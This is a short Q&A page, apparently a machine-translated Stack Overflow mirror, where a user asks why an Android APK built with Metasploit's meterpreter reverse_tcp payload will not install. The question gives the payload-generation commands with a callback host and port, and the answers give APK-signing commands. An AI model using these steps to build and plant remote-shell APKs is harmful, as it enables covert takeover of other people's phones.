简体   繁体   English

Metasploit创建的APK未安装在Android设备上

[英]Metasploit created apk not installing on android device

I am trying to install a hacked apk on an android device (GT - 19300 and SGS Tab S 10.5). 我正在尝试在Android设备(GT-19300和SGS Tab S 10.5)上安装被黑的apk。 My problem is, that it is not installing that apk neither on my phone nor on my tab. 我的问题是,既没有在手机上也没有在选项卡上安装该apk。 It keeps saying, that the application could not be installed... Phone is running Android 4.3 (rooted!) and Tab is running Android 5.0.2. 一直说,该应用程序无法安装...电话运行的是Android 4.3(已root!),而Tab运行的是Android 5.0.2。 I've created the apk on metasploit pro console (windows) with the following commands: 我已经使用以下命令在metasploit专业控制台(Windows)上创建了apk:

use android/meterpreter/reverse_tcp 使用android / meterpreter / reverse_tcp

set LHOST 192.168.2.107 设置LHOST 192.168.2.107

set LPORT 443 设置LPORT 443

generate -t raw -f //PATH 生成-t raw -f // PATH

Help is apprectiated 帮助已通过

You may have to sign the apk. 您可能需要签署apk。 Newer versions of Android require you to sign it as well. 较新版本的Android也需要您对其进行签名。 In Kali do: 在卡利市:

For generating the keystore: keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000 要生成密钥库: keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

For singing the App: jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name 唱歌应用程序: jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name

Have you ever tried d2j-apk-sign command on linux? 您是否曾经在Linux上尝试过d2j-apk-sign命令? I have been struggling with same problem until i find dj2-dex2jar. 在找到dj2-dex2jar之前,我一直在努力解决相同的问题。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM